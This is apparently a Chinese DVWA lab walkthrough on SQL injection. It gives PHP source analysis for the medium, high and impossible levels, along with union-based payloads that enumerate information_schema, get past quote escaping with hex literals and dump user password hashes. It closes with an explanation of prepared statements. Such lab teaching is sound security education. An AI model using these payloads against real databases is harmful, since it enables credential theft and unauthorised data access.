DVWA靶场保姆级通关教程--07SQL注入下
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
-
目录
文章目录
前言
一、medium级源码分析
具体来说,这里的mysqli_real_escape_string()函数 会对以下字符加上反斜杠:
1.判断注入点:修改字段为1',请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:
2.判断字段数
编辑3.判断具体哪些字段有回显
3.获取表名:
编辑 4.获取表中字段名:
5.获取表中数据:
二、high级别源码分析
三、impossible级别源码分析
主要安全防护措施:
什么是预处理?
1. 准备阶段(Prepare):
2. 绑定参数(Bind):
3. 执行阶段(Execute):
预处理语句的好处:
总结:
前言
书接上回、这里直接从源码分析开始,直接演示SQL注入
一、medium级源码分析
<?php// 判断是否点击了提交按钮(即是否发送了POST请求)
if( isset( $_POST[ 'Submit' ] ) ) {// 获取输入的id参数 $id = $_POST[ 'id' ];// 使用 mysqli_real_escape_string 对输入的id进行转义,防止SQL注入(但未加引号,仍有注入风险) $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);// 构造SQL查询语句,注意此处未对 $id 加引号,会导致数值型注入漏洞 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";// 执行SQL语句,若失败则输出错误 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// 遍历查询结果 while( $row = mysqli_fetch_assoc( $result ) ) {// 提取每一行中的 first_name 和 last_name 字段 $first = $row["first_name"];$last = $row["last_name"];// 将结果输出给用户 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
}// 以下部分用于 index.php 页面统计用户数量
// 在这里也设置是为了保持所有 source 脚本格式一致,统一在此关闭数据库连接 // 构造查询语句,统计用户表中的总记录数
$query = "SELECT COUNT(*) FROM users;";// 执行统计查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 获取查询结果中的记录数
$number_of_rows = mysqli_fetch_row( $result )[0];// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
具体来说,这里的mysqli_real_escape_string()函数
会对以下字符加上反斜杠:
-
单引号(
'
)变成\'
-
双引号(
"
)变成\"
-
反斜杠(
\
)变成\\
-
NULL 字符变成
\\0
-
换行符(
\n
)变成\\n
-
回车符(
\r
)变成\\r
-
等等
1.判断注入点:修改字段为1'
,请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:
2.判断字段数
输入id=1 order by 2#
,查看返回数据,同样的当报错时,说明正确的字段数为n-1
这里正确的字段数为2
3.判断具体哪些字段有回显
联合查询union select:
输入-1 union select database(),user()#
查询数据库和用户名,查看返回数据:
输入-1 union select version(),@@version_compile_os#
查询数据库版本和操作系统,查看返回数据:
3.获取表名:
输入-1 union select table_name,table_schema from information_schema.tables where table_schema= database()#
查询表名:
这里只有两个字段会回显所以只显示了两个表名,如果要获取所有的表名可以像下面这样:
-1 union select hex(group_concat(table_name)),table_schema from information_schema.tables where table_schema= database()#
所有的表名显示为一个字段的16进制数,解析这个16进制数可以看到所有的表名
4.获取表中字段名:
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273
输入-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# users十六进制数为0x7573657273 ,查看返回数据:
-1 union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#
5.获取表中数据:
输入-1 union select user,password from users#
,查看数据:
也可以用low级别的让所有的用户名和密码显示到一起
二、high级别源码分析
<?php// 检查是否存在有效的会话id(即用户已登录并具有有效会话)
if( isset( $_SESSION [ 'id' ] ) ) {// 获取用户id(假设它是从会话中传来的) $id = $_SESSION[ 'id' ];// **存在SQL注入漏洞**:直接将未处理的用户输入($id)插入到查询中 // 如果 $id 中包含恶意的 SQL 代码,攻击者可以通过此漏洞进行SQL注入攻击$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";// 执行SQL查询,如果执行失败则输出错误信息 // 如果查询失败,提示 "Something went wrong." $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// 处理查询结果 while( $row = mysqli_fetch_assoc( $result ) ) {// 提取查询结果中的 first_name 和 last_name 字段 $first = $row["first_name"];$last = $row["last_name"];// 向用户输出结果 // 显示用户的 ID、名字和姓氏 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}// 关闭数据库连接,确保每次查询后都进行关闭 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
- 可以看出,点击
“here to change your ID”
,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1; - 其他步骤跟low和medium是一样,然后爆账号密码,输入-
1' union select user,password from users#
,查询返回数据:
三、impossible级别源码分析
<?php// 检查是否通过 GET 请求提交了 'Submit' 参数
if( isset( $_GET[ 'Submit' ] ) ) {// 检查 Anti-CSRF(跨站请求伪造)令牌,确保请求是合法的,避免 CSRF 攻击 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 获取用户输入的 'id' 参数(来自 URL 查询字符串) $id = $_GET[ 'id' ];// 判断输入的 id 是否为数字,如果是,则继续后续操作 if(is_numeric( $id )) {// 使用 PDO 预处理语句来防止 SQL 注入// 通过 prepare() 方法预先准备 SQL 查询,使用占位符 :id 替代直接插入 $id$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );// 绑定参数,将 $id 绑定到 :id 参数,并指定其类型为整数 (PDO::PARAM_INT) $data->bindParam( ':id', $id, PDO::PARAM_INT );// 执行查询,获取用户数据 $data->execute();// 获取查询结果$row = $data->fetch();// 确保查询结果只有 1 条记录 if( $data->rowCount() == 1 ) {// 提取查询结果中的 first_name 和 last_name 字段 $first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// 向用户显示查询结果 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// 生成 Anti-CSRF token,确保后续请求的合法性
generateSessionToken();?>
主要安全防护措施:
-
Anti-CSRF Token:
-
在操作之前,代码首先检查了 Anti-CSRF token 来防止跨站请求伪造(CSRF)攻击,确保请求来源是合法的。这是提高安全性的一个重要步骤,确保用户提交的表单请求是由合法用户发起的。
-
-
用户输入验证:
-
代码首先检查用户输入的
id
是否是数字(通过is_numeric()
)。这样可以避免恶意用户提交非数字字符进入 SQL 查询中,减少了 SQL 注入的风险。然而,这仅仅是一个初步的防护措施,因为即使输入是数字,也可能存在其他安全问题(比如通过更复杂的输入绕过此检查)。
-
-
PDO 预处理语句:
-
使用了 PDO(PHP 数据对象) 和预处理语句(prepared statements)。这是一种防止 SQL 注入的最佳实践。通过预处理语句,查询和数据被分开处理,输入的参数(例如
$id
)通过占位符:id
传递给数据库,而不是直接将其嵌入 SQL 查询中。这有效避免了 SQL 注入的可能性。
-
-
参数绑定:
-
使用
bindParam()
方法将用户输入的$id
与 SQL 查询中的:id
参数绑定,并指定其为整数(PDO::PARAM_INT
)。这种方法确保了数据类型的安全性,避免了数据类型不一致可能带来的问题。
-
-
查询结果数量检查:
-
使用
rowCount()
方法确保查询结果只有一条记录,这样可以避免从数据库中获取到多个或没有匹配的用户记录,确保数据的准确性和安全性。
-
-
什么是预处理?
“通过预处理语句,查询和数据被分开处理”是指在使用 预处理语句(prepared statements)时,SQL 查询和用户提供的数据被分开处理,从而避免了将用户输入直接插入到 SQL 查询中,避免了 SQL 注入的风险。
具体来说,预处理语句的工作方式如下:
1. 准备阶段(Prepare):
在这个阶段,SQL 查询被发送到数据库服务器,但是查询中的参数部分(比如 WHERE user_id = :id
)并没有直接使用用户输入的数据,而是使用占位符(如 :id
)来代替数据。这个查询就像一个“模板”,它告诉数据库如何执行查询,但并没有指定具体的数据。
例如:
SELECT first_name, last_name FROM users WHERE user_id = :id;
在这个例子中,:id
是一个占位符,它代表一个变量,但它的值暂时是未知的。数据库首先解析并准备这个查询,但并不会执行实际的数据库操作。
2. 绑定参数(Bind):
在准备好查询后,程序通过绑定操作将实际的数据(即用户输入的 $id
)与占位符(:id
)关联起来。这里的关键是,数据库并不知道参数的具体值,它只知道这些占位符代表某些数据。
$data->bindParam(':id', $id, PDO::PARAM_INT);
这里的 $id
是用户输入的实际数据,bindParam()
方法会将这个值绑定到查询中的 :id
占位符上,并指定它的类型(例如:整数 PDO::PARAM_INT
)。
3. 执行阶段(Execute):
在执行阶段,数据库会用绑定的值替换占位符(:id
),然后执行查询。由于查询和数据在两个不同的步骤中被处理,数据库引擎能够确保查询结构不会被篡改,也能安全地插入用户数据。
执行时,数据库会将 $id
替换占位符,并执行查询:
SELECT first_name, last_name FROM users WHERE user_id = 123;
这时,数据库会查询 user_id = 123
的记录。
预处理语句的好处:
-
防止 SQL 注入:因为 SQL 查询结构(如
SELECT ... FROM ... WHERE ...
)在发送到数据库时是固定的,用户数据仅仅作为参数绑定给占位符,所以即使用户输入恶意的 SQL 语句(例如' OR 1=1; --
),也不会改变查询的结构。 -
性能优化:预处理语句在第一次执行时会被编译和缓存,后续相同的查询可以直接使用缓存的执行计划,提高性能。
-
可读性和安全性:使用占位符和绑定参数,使得代码更清晰和易于维护,同时增强了安全性。
总结:
通过预处理语句,查询和数据被分开处理,意味着 SQL 查询的结构与实际的数据(例如用户输入)是分开的。数据库首先接收的是一个结构化的查询模板,数据仅在执行时被绑定进去,这样可以有效防止 SQL 注入攻击。